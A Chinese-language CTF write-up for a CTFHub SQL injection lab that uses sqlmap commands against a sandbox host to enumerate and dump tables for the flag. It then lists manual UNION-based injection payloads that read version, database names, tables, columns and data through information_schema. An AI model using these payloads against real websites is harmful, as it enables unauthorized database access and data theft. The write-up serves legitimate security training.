CTFHUB-SQL注入-MySQL结构

发布于:2024-06-21 ⋅ 阅读:(44) ⋅ 点赞:(0)

目录

sqlmap工具夺flag

查看数据库名

查看数据库中表名

查看第一个表中数据

查看第二个表的数据

手动注入

判断是否存在注入

判断字段数量

查询注入点

查询数据库版本

查询数据库名

查看所有数据库

查看表名

查看表中字段

查看表中数据


本题用到sqlmap工具,没有sqlmap工具点击🚀🚀🚀直达下载安装使用教程

sqlmap工具夺flag

查看数据库名

python sqlmap.py -u "http://challenge-f00a2b8be09c8ff3.sandbox.ctfhub.com:10800/?id=1" --current-db --batch

发现了数据库名是 sqli

查看数据库中表名

python sqlmap.py -u "http://challenge-f00a2b8be09c8ff3.sandbox.ctfhub.com:10800/?id=1" -D sqli --tables --batch

发现了2张表,从表名看不出端倪,采用土办法,挨着找

查看第一个表中数据

python sqlmap.py -u "http://challenge-f00a2b8be09c8ff3.sandbox.ctfhub.com:10800/?id=1" -D sqli -T news --dump --batch

并无flag的踪影

查看第二个表的数据

python sqlmap.py -u "http://challenge-f00a2b8be09c8ff3.sandbox.ctfhub.com:10800/?id=1" -D sqli -T ukedvyhohp --dump --batch

在这个表里发现了本题的 flag

手动注入

判断是否存在注入

and 1 = 1
and 1 = 2
or 1 = 1
or 1 = 2
?id=1' and 1' = 1'
?id=1' and 1' = 2'

判断字段数量

order by 1    #正常
order by 2    #正常
order by 3    #异常

查询注入点

1 union select 1,2    #8为异常无回显
-1 union select 1,2   #如果数据不存在数据库中,可以使用负号查找
0 union select 1,2    #如果数据不存在数据库中,也可以使用零查找

查询数据库版本

union select 1,version() 

查询数据库名

union select 1,database()

查看所有数据库

#数据库自带的表information_schema,其中包含所有的数据库信息
#schema_name 数据库名称
union select 1,group_concat(schema_name)from information_schema.schemata

查看表名

#table_name 表格名称
union select 1,group_concat(table_name) from information_schema.tables where table_schema='表名'

查看表中字段

#column_name 字段名称
union select 1,group_concat(column_name) from information_schema.columns where table_schema='库名' and table_name='表名'

查看表中数据

union select 1,group_concat(字段名) from 库名.表名